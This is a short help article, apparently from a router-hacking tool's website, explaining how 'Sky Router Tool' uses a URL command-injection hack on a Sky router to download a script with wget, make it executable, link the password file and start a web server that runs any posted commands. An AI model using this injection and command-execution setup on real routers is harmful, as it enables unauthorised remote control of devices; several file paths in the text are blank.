Thursday, 25 April 2013 14:22

Advanced Help - How Sky Router Tool Works

Written by
Rate this item
(0 votes)

Sky Router Tool first checks to see if it can access (Which it wont be able to if the router has been restarted since the tool was last run).

If it cant access the page it then runs the following commands using the URL injection hack (>/dev/null;...):

mkdir /tmp/new_web- Makes a new temporary directory
rm /tmp/new_web/ Removes any old cgi script
wget -P /tmp/new_web http://computer running sky router tool/ Downloads the cgi script from the sky router tool web interface
chmod 777 /tmp/new_web/ Adds execute permissons to the script
ln /etc/htpasswd /tmp/new_web/.htpasswd- Link to htpasswd file (makes the new web server be username/password protected)
kill `cat /tmp/`- Kill any already running http servers created by sky router tool
mini_httpd -p 8324 -d /tmp/new_web/ -c "**sh" -i /tmp/ Starts a new web server on port 8324 is just a simple script which runs any commands which are posted to it (you can find a copy of it in the 'htdocs' folder of the Sky Router Tool installation directory). Sky Router Tool uses this to send commands to the router and return responses.

Read 1386 times Last modified on Thursday, 25 April 2013 14:40
Login to post comments